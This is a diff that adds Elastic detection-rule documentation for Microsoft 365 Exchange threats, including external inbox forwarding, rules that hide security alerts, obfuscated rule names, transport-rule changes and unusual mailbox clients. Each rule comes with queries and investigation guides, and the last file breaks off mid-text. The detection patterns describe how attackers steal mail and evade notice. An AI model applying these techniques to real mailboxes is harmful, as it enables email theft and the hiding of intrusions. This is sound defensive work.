-0,0 +1,153 @@ +[[prebuilt-rule-8-19-34-m365-exchange-inbox-forwarding-rule-created]] +=== M365 Exchange Inbox Forwarding Rule Created + +Identifies when a new Inbox forwarding rule is created in Microsoft 365. Inbox rules process messages in the Inbox based on conditions and take actions. In this case, the rules will forward the emails to a defined address. Attackers can abuse Inbox Rules to intercept and exfiltrate email data without making organization-wide configuration changes or having the corresponding privileges. + +*Rule type*: eql + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/responding-to-a-compromised-email-account?view=o365-worldwide +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-outlook-rules-forms-attack?view=o365-worldwide +* https://raw.githubusercontent.com/PwC-IR/Business-Email-Compromise-Guide/main/Extractor%20Cheat%20Sheet.pdf +* https://www.microsoft.com/en-us/security/blog/2026/04/06/ai-enabled-device-code-phishing-campaign-april-2026/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Configuration Audit +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Microsoft 365 +* Service: Microsoft Exchange Online + +*Version*: 215 + +*Rule authors*: + +* Elastic +* Gary Blackwell +* Austin Songer +* Marco Pedrinazzi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Inbox Forwarding Rule Created* + + +Microsoft 365 allows users to create inbox rules to automate email management, such as forwarding messages to another address. While useful, attackers can exploit these rules to secretly redirect emails, facilitating data exfiltration. The detection rule monitors for the creation of such forwarding rules, focusing on successful events that specify forwarding parameters, thus identifying potential unauthorized email redirection activities. + + +*Possible investigation steps* + + +- Review the event details to identify the user account associated with the creation of the forwarding rule by examining the o365.audit.Parameters. +- Check the destination email address specified in the forwarding rule (ForwardTo, ForwardAsAttachmentTo, or RedirectTo) to determine if it is an external or suspicious address. +- Investigate the user's recent activity logs in Microsoft 365 to identify any unusual or unauthorized actions, focusing on event.dataset:o365.audit and event.provider:Exchange. +- Verify if the user has a legitimate reason to create such a forwarding rule by consulting with their manager or reviewing their role and responsibilities. +- Assess if there have been any recent security incidents or alerts related to the user or the destination email address to identify potential compromise. +- Consider disabling the forwarding rule temporarily and notifying the user and IT security team if the rule appears suspicious or unauthorized. + + +*False positive analysis* + + +- Legitimate forwarding rules set by users for convenience or workflow purposes may trigger alerts. Review the context of the rule creation, such as the user and the destination address, to determine if it aligns with normal business operations. +- Automated systems or third-party applications that integrate with Microsoft 365 might create forwarding rules as part of their functionality. Identify these systems and consider excluding their associated accounts from the rule. +- Temporary forwarding rules set during user absence, such as vacations or leaves, can be mistaken for malicious activity. Implement a process to document and approve such rules, allowing for their exclusion from monitoring during the specified period. +- Internal forwarding to trusted domains or addresses within the organization might not pose a security risk. Establish a list of trusted internal addresses and configure exceptions for these in the detection rule. +- Frequent rule changes by specific users, such as IT administrators or support staff, may be part of their job responsibilities. Monitor these accounts separately and adjust the rule to reduce noise from expected behavior. + + +*Response and remediation* + + +- Immediately disable the forwarding rule by accessing the affected user's mailbox settings in Microsoft 365 and removing any unauthorized forwarding rules. +- Conduct a thorough review of the affected user's email account for any signs of compromise, such as unusual login activity or unauthorized changes to account settings. +- Reset the password for the affected user's account and enforce multi-factor authentication (MFA) to prevent further unauthorized access. +- Notify the user and relevant IT security personnel about the incident, providing details of the unauthorized rule and any potential data exposure. +- Escalate the incident to the security operations team for further investigation and to determine if other accounts may have been targeted or compromised. +- Implement additional monitoring on the affected account and similar high-risk accounts to detect any further suspicious activity or rule changes. +- Review and update email security policies and configurations to prevent similar incidents, ensuring that forwarding rules are monitored and restricted as necessary. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +web where + event.provider == "Exchange" and + event.action in ( + "New-InboxRule", + "Set-InboxRule", + "Set-Mailbox", + "Set-TransportRule", + "New-TransportRule" + ) and event.outcome == "success" and + ( + (?o365.audit.Parameters.ForwardTo != null and not endsWith~(?o365.audit.Parameters.ForwardTo, user.domain)) or + (?o365.audit.Parameters.ForwardAsAttachmentTo != null and not endsWith~(?o365.audit.Parameters.ForwardAsAttachmentTo, user.domain)) or + (?o365.audit.Parameters.ForwardingAddress != null and not endsWith~(?o365.audit.Parameters.ForwardingAddress, user.domain)) or + (?o365.audit.Parameters.ForwardingSmtpAddress != null and not endsWith~(?o365.audit.Parameters.ForwardingSmtpAddress, user.domain)) or + (?o365.audit.Parameters.RedirectTo != null and not endsWith~(?o365.audit.Parameters.RedirectTo, user.domain)) or + (?o365.audit.Parameters.RedirectToRecipients != null and not endsWith~(?o365.audit.Parameters.RedirectToRecipients, user.domain)) or + (?o365.audit.Parameters.RedirectMessageTo != null and not endsWith~(?o365.audit.Parameters.RedirectMessageTo, user.domain)) or + (?o365.audit.Parameters.BlindCopyTo != null and not endsWith~(?o365.audit.Parameters.BlindCopyTo, user.domain)) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Email Forwarding Rule +** ID: T1114.003 +** Reference URL: https://attack.mitre.org/techniques/T1114/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc new file mode 100644 index 0000000000..a3899070ef --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-phishing-evasion-rule-created.asciidoc @@ -0,0 +1,179 @@ +[[prebuilt-rule-8-19-34-m365-exchange-inbox-phishing-evasion-rule-created]] +=== M365 Exchange Inbox Phishing Evasion Rule Created + +Identifies when a user creates a new inbox rule in Microsoft 365 that deletes or moves emails containing suspicious keywords. Adversaries who have compromised accounts often create inbox rules to hide alerts, security notifications, or other sensitive messages by automatically deleting them or moving them to obscure folders. Common destinations include Deleted Items, Junk Email, RSS Feeds, and RSS Subscriptions. This is a New Terms rule that triggers only when the user principal name and associated source IP address have not been observed performing this activity in the past 14 days. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/defender-office-365/detect-and-remediate-outlook-rules-forms-attack +* https://learn.microsoft.com/en-us/defender-xdr/alert-grading-playbook-inbox-manipulation-rules +* https://blog.barracuda.com/2023/09/20/threat-spotlight-attackers-inbox-rules-evade-detection + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: New Terms +* Platform: Microsoft 365 +* Service: Microsoft Exchange Online + +*Version*: 7 + +*Rule authors*: + +* Elastic +* Jamie Lee +* Marco Pedrinazzi + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Inbox Phishing Evasion Rule Created* + + +This detection identifies the creation of potentially malicious inbox rules in Microsoft 365. These rules automatically delete or move emails with specific keywords such as "invoice", "payment", "security", or "phish". Adversaries often use these rules post-compromise to conceal warning emails, alerts from security tools, or responses from help desk teams, thereby evading detection and maintaining access. + +This is a new terms rule that alerts only when the combination of `user.id` and `source.ip` has not performed this activity in the last 14 days. + + +*Possible investigation steps* + + +- Review the `user.id` and `user.email` fields to identify the user account that created the inbox rule. +- Confirm the rule creation action in `event.action` is `New-InboxRule` and that the `event.outcome` is `success`. +- Investigate the `o365.audit.Parameters.SubjectContainsWords` field for sensitive or suspicious keywords such as: + - `invoice`, `payment`, `reset`, `phish`, `login`, `fraud`, `alert`, etc. +- Check if the rule performs any of the following: + - `MoveToFolder`: suspicious folders like `RSS Feeds`, `Junk Email`, or `Deleted Items`. + - `DeleteMessage`: if present, suggests the rule is meant to hide communications. +- Review the `source.ip` and `source.geo.*` fields to validate whether the IP address and location match expected user behavior. +- Examine whether the rule was created via a suspicious interface like Exchange Admin or through external automation. +- Check for recent sign-in anomalies, credential changes, or unusual mailbox activity for the user (e.g., email forwarding, MFA prompts). + + +*False positive analysis* + + +- Some rules may be created by users for legitimate purposes (e.g., moving newsletters). +- Outlook plugins or automated email management tools could create rules that resemble this behavior. +- Newly onboarded employees might configure rules for personal filtering without malicious intent. + + +*Response and remediation* + + +- If the rule is determined to be malicious: + - Remove the inbox rule immediately. + - Review the user’s mailbox for signs of data theft or additional manipulation (e.g., auto-forwarding, altered reply-to addresses). + - Investigate surrounding activity such as MFA changes, token refreshes, or admin role assignments. + - Revoke tokens and initiate a password reset for the compromised user. +- If broader compromise is suspected: + - Review audit logs for other inbox rule creations across the tenant. + - Check whether other users from the same source IP performed similar activity. + - Educate the user on safe email handling and rule creation best practices. +- Strengthen detection: + - Enable Microsoft Defender for Office 365 Safe Rules. + - Use mailbox auditing and DLP policies to monitor hidden inbox activity. + + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "o365.audit" and + event.action: ("New-InboxRule" or "Set-InboxRule") and event.outcome: "success" and + ( + o365.audit.Parameters.BodyContainsWords: "\u0000" or + o365.audit.Parameters.WithinSizeRangeMinimum <= 1023 or + o365.audit.Parameters.SubjectContainsWords: ( + *phish* or + *hack* or + *alert* or + *malware* or + *security* or + *invoice* or + *payment* or + *wire* or + *transfer* or + *fraud* or + *reset* or + *unusual* or + *protection* or + *login* or + *suspicious* + ) + ) and ( + o365.audit.Parameters.DeleteMessage: True or + o365.audit.Parameters.MoveToFolder: ( + *Deleted* or + *Junk* or + *RSS* or + *Calendar* + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Email Hiding Rules +** ID: T1564.008 +** Reference URL: https://attack.mitre.org/techniques/T1564/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Rules +** ID: T1137.005 +** Reference URL: https://attack.mitre.org/techniques/T1137/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-rule-with-obfuscated-name.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-rule-with-obfuscated-name.asciidoc new file mode 100644 index 0000000000..d9abe28c91 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-inbox-rule-with-obfuscated-name.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-34-m365-exchange-inbox-rule-with-obfuscated-name]] +=== M365 Exchange Inbox Rule with Obfuscated Name + +Identifies when a Microsoft Exchange inbox rule is created or modified with a name composed only of special characters. Adversaries may use obfuscated inbox rule names to evade detection, hide malicious forwarding or deletion rules, or blend in with benign audit noise. The rule name is parsed from "o365.audit.ObjectId", which encodes the mailbox identity and rule name separated by a backslash. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2026/04/06/ai-enabled-device-code-phishing-campaign-april-2026/ + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: ES|QL +* Platform: Microsoft 365 +* Service: Microsoft Exchange Online + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating M365 Exchange Inbox Rule with Obfuscated Name* + + +This rule flags `New-InboxRule` and `Set-InboxRule` activity where the inbox rule name extracted from +`o365.audit.ObjectId` contains only special characters. Attackers use these names to make malicious rules harder to spot +in the Microsoft 365 compliance portal and security tooling. + +Because this rule uses ESQL `grok` and `keep`, review the original `o365.audit` documents for full rule parameters +(`o365.audit.Parameters.*`) such as forwarding, deletion, or move actions. + + +*Possible investigation steps* + + +- Review `Esql.inbox_rule_name` and `o365.audit.ObjectId` to confirm the parsed rule identity and mailbox path. +- Identify the actor using `o365.audit.UserId` and correlate with Entra ID sign-in logs for the same `source.ip`. +- Inspect `event.action` to determine whether the rule was newly created or modified. +- Review kept forwarding and redirect parameters (`ForwardTo`, `ForwardAsAttachmentTo`, `ForwardingAddress`, + `RedirectTo`, `RedirectToRecipients`) for external destinations outside `user.domain`. +- Pull the source event and review `o365.audit.Parameters` for `DeleteMessage`, `MoveToFolder`, or + `SubjectContainsWords` that indicate evasion or exfiltration intent. +- Hunt for other inbox rules from the same user or IP with standard or obfuscated names. + + +*False positive analysis* + + +- Internal scripts that programmatically name rules with symbols may match. Document approved senders and exclude if + necessary. +- Broken or partial `ObjectId` values can affect grok extraction; verify the parsed name in the raw audit record. + + +*Response and remediation* + + +- Remove the inbox rule from the affected mailbox if unauthorized. +- Reset credentials and revoke sessions for the user if compromise is suspected. +- Review the tenant for additional malicious inbox or transport rules from the same source IP. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-o365.audit-* metadata _id, _version, _index +| where + data_stream.dataset == "o365.audit" and + event.provider == "Exchange" and + event.action in ("New-InboxRule", "Set-InboxRule") and + event.outcome == "success" and + o365.audit.ObjectId is not null +| grok o365.audit.ObjectId """.*\\\\(?.*)$""" +// only special chars in inbox rule name +| where Esql.inbox_rule_name rlike """[!@#$%^&*()_+={[\]|\\:;"'<,>.?/~` \-]+""" +| keep + @timestamp, + _id, + _version, + _index, + Esql.inbox_rule_name, + o365.audit.ObjectId, + o365.audit.UserId, + o365.audit.ApplicationId, + user.name, + user.domain, + event.action, + source.ip, + source.as.number, + source.as.organization.name, + o365.audit.Parameters.ForwardTo, + o365.audit.Parameters.ForwardAsAttachmentTo, + o365.audit.Parameters.RedirectTo + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Email Hiding Rules +** ID: T1564.008 +** Reference URL: https://attack.mitre.org/techniques/T1564/008/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Office Application Startup +** ID: T1137 +** Reference URL: https://attack.mitre.org/techniques/T1137/ +* Sub-technique: +** Name: Outlook Rules +** ID: T1137.005 +** Reference URL: https://attack.mitre.org/techniques/T1137/005/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-created.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-created.asciidoc new file mode 100644 index 0000000000..1373fa84c6 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-created.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-created]] +=== M365 Exchange Mail Flow Transport Rule Created + +Identifies a transport rule creation in Microsoft 365. As a best practice, Exchange Online mail transport rules should not be set to forward email to domains outside of your organization. An adversary may create transport rules to exfiltrate data. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/new-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mail Flow Transport Rule Created* + + +Microsoft 365 Exchange transport rules automate email handling, applying actions like forwarding or blocking based on conditions. While beneficial for managing communications, adversaries can exploit these rules to redirect emails externally, facilitating data exfiltration. The detection rule monitors successful creation of new transport rules, flagging potential misuse by identifying specific actions and outcomes in audit logs. + + +*Possible investigation steps* + + +- Review the audit logs for the event.dataset:o365.audit to identify the user account responsible for creating the new transport rule. +- Examine the event.provider:Exchange and event.category:web fields to confirm the context and source of the rule creation. +- Investigate the event.action:"New-TransportRule" to understand the specific conditions and actions defined in the newly created transport rule. +- Check the event.outcome:success to ensure the rule creation was completed successfully and assess if it aligns with expected administrative activities. +- Analyze the transport rule settings to determine if it includes actions that forward emails to external domains, which could indicate potential data exfiltration. +- Correlate the findings with other security events or alerts to identify any patterns or anomalies that might suggest malicious intent. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when IT staff create or modify transport rules for legitimate purposes. To manage this, establish a baseline of expected rule creation activities and exclude these from alerts. +- Automated systems or third-party applications that integrate with Microsoft 365 might create transport rules as part of their normal operation. Identify these systems and create exceptions for their known actions. +- Changes in organizational policies or email handling procedures can lead to legitimate rule creations. Document these changes and update the monitoring system to recognize them as non-threatening. +- Regular audits or compliance checks might involve creating temporary transport rules. Coordinate with audit teams to schedule these activities and temporarily adjust alert thresholds or exclusions during these periods. + + +*Response and remediation* + + +- Immediately disable the newly created transport rule to prevent further unauthorized email forwarding or data exfiltration. +- Conduct a thorough review of the audit logs to identify any other suspicious transport rules or related activities that may indicate a broader compromise. +- Isolate the affected user accounts or systems associated with the creation of the transport rule to prevent further unauthorized access or actions. +- Reset passwords and enforce multi-factor authentication for the affected accounts to secure access and prevent recurrence. +- Notify the security team and relevant stakeholders about the incident for awareness and further investigation. +- Escalate the incident to the incident response team if there is evidence of a broader compromise or if sensitive data has been exfiltrated. +- Implement enhanced monitoring and alerting for transport rule changes to detect and respond to similar threats more effectively in the future. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:"New-TransportRule" and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Email Collection +** ID: T1114 +** Reference URL: https://attack.mitre.org/techniques/T1114/ +* Sub-technique: +** Name: Email Forwarding Rule +** ID: T1114.003 +** Reference URL: https://attack.mitre.org/techniques/T1114/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-modified.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-modified.asciidoc new file mode 100644 index 0000000000..9438272231 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-modified.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-m365-exchange-mail-flow-transport-rule-modified]] +=== M365 Exchange Mail Flow Transport Rule Modified + +Identifies when a transport rule has been disabled or deleted in Microsoft 365. Mail flow rules (also known as transport rules) are used to identify and take action on messages that flow through your organization. An adversary or insider threat may modify a transport rule to exfiltrate data or evade defenses. + +*Rule type*: query + +*Rule indices*: + +* logs-o365.audit-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/powershell/module/exchange/remove-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/powershell/module/exchange/disable-transportrule?view=exchange-ps +* https://docs.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules + +*Tags*: + +* Domain: Cloud +* Data Source: Microsoft 365 +* Use Case: Configuration Audit +* Tactic: Exfiltration +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email +* Data Source: Microsoft 365 Audit Logs +* Service: Microsoft Exchange Online + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating M365 Exchange Mail Flow Transport Rule Modified* + + +Microsoft 365 Exchange transport rules manage email flow by setting conditions and actions for messages. Adversaries may exploit these rules to disable or delete them, facilitating data exfiltration or bypassing security measures. The detection rule monitors audit logs for successful execution of commands that alter these rules, signaling potential misuse and enabling timely investigation. + + +*Possible investigation steps* + + +- Review the audit logs for the specific event.dataset:o365.audit entries with event.provider:Exchange to confirm the occurrence of the "Remove-TransportRule" or "Disable-TransportRule" actions. +- Identify the user account associated with the event by examining the user information in the audit logs to determine if the action was performed by an authorized individual or a potential adversary. +- Check the event.category:web context to understand if the action was performed through a web interface, which might indicate a compromised account or unauthorized access. +- Investigate the event.outcome:success to ensure that the rule modification was indeed successful and not an attempted action. +- Correlate the timing of the rule modification with other security events or alerts to identify any concurrent suspicious activities that might suggest a broader attack or data exfiltration attempt. +- Assess the impact of the rule modification by reviewing the affected transport rules to determine if they were critical for security or compliance, and evaluate the potential risk to the organization. + + +*False positive analysis* + + +- Routine administrative changes to transport rules by IT staff can trigger alerts. To manage this, maintain a list of authorized personnel and their expected activities, and create exceptions for these users in the monitoring system. +- Scheduled maintenance or updates to transport rules may result in false positives. Document these activities and adjust the monitoring system to temporarily exclude these events during known maintenance windows. +- Automated scripts or third-party tools that manage transport rules might cause alerts. Identify these tools and their typical behavior, then configure the monitoring system to recognize and exclude these benign actions. +- Changes made as part of compliance audits or security assessments can be mistaken for malicious activity. Coordinate with audit teams to log these activities separately and adjust the monitoring system to account for these legitimate changes. + + +*Response and remediation* + + +- Immediately disable any compromised accounts identified in the audit logs to prevent further unauthorized modifications to transport rules. +- Revert any unauthorized changes to transport rules by restoring them to their previous configurations using backup data or logs. +- Conduct a thorough review of all transport rules to ensure no additional unauthorized modifications have been made, and confirm that all rules align with organizational security policies. +- Implement additional monitoring on the affected accounts and transport rules to detect any further suspicious activities or attempts to modify rules. +- Escalate the incident to the security operations team for a deeper investigation into potential data exfiltration activities and to assess the scope of the breach. +- Coordinate with legal and compliance teams to determine if any regulatory reporting is required due to potential data exfiltration. +- Enhance security measures by enabling multi-factor authentication (MFA) for all administrative accounts and reviewing access permissions to ensure the principle of least privilege is enforced. + +==== Setup + + +The Office 365 Logs Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:o365.audit and event.provider:Exchange and event.category:web and event.action:("Remove-TransportRule" or "Disable-TransportRule") and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc new file mode 100644 index 0000000000..9abf300375 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-m365-exchange-mailbox-accessed-by-unusual-client.asciidoc @@ -0,0 +1,203 @@ +[[prebuilt-rule-8-19-34-m365-exchange-mailbox-accessed-by-unusual-client]] +=== M365 Exchange Mailbox Accessed by Unusual Client + +Identifies suspicious Microsoft 365 mail access by ClientAppId. This rule detects when a user accesses their mailbox using a client application that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. Adversaries may use custom or third-party applications to access mailboxes, bypassing standard security controls. First-party Microsoft applications are also abused after OAuth tokens are compromised, allowing adversaries to access mailboxes without raising suspicion. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-o365.audit-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-193a +* https://trustedsec.com/blog/mailitemsaccessed-woes-m365-investigation-challenges +* https://learn.microsoft.com/en-us/purview/audit-log-investigate-accounts + +*Tags*: + +* Domain: Cloud +* Domain: Email +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Threat Detection +* Tactic: Collection +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: New Terms +* Platform: Microsoft 365 +* Domain: SaaS +* Service: Microsoft Exchange Online + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and Analysis* + + + +*Investigating M365 Exchange Mailbox Accessed by Unusual Client* + + +This rule detects when a user accesses their mailbox using a client application that is not typically used by the user, which may indicate potential compromise or unauthorized access attempts. Adversaries may use custom or third-party applications to access mailboxes, bypassing standard security controls. First-party Microsoft applications are also abused after OAuth tokens are compromised, allowing adversaries to access mailboxes without raising suspicion. + + +*Possible investigation steps* + +- Review the `o365.audit.UserId` field to identify the user associated with the mailbox access. +- Check the `o365.audit.ClientAppId` field to determine which client application was used for the mailbox access. Look for unusual or unexpected applications or determine which first-party Microsoft applications are being abused. +- Review `o365.audit.ClientInfoString` to gather additional information about the client application used for the mailbox access. +- Examine `o365.audit.Folders.Path` to identify the specific mailbox folders accessed by the client application. This can help determine if sensitive information was accessed or if the access was legitimate. +- Ensure that `o365.audit.MailboxOwnerUPN` matches the `o365.audit.UserId` to confirm that the mailbox accessed belongs to the user identified in the `o365.audit.UserId` field. +- Review geolocation information to identify the location from which the mailbox access occurred. Look for any anomalies or unexpected locations that may indicate suspicious activity. +- Examine `o365.audit.Folders.FolderItems.Id` to identify the specific items accessed within the mailbox folders. This can help determine if sensitive information was accessed or if the access was legitimate. + + +*False positive analysis* + +- Legitimate users may access their mailboxes using new or different client applications, such as when switching to a new email client or using a mobile application. If this is expected behavior, consider adjusting the rule or adding exceptions for specific users 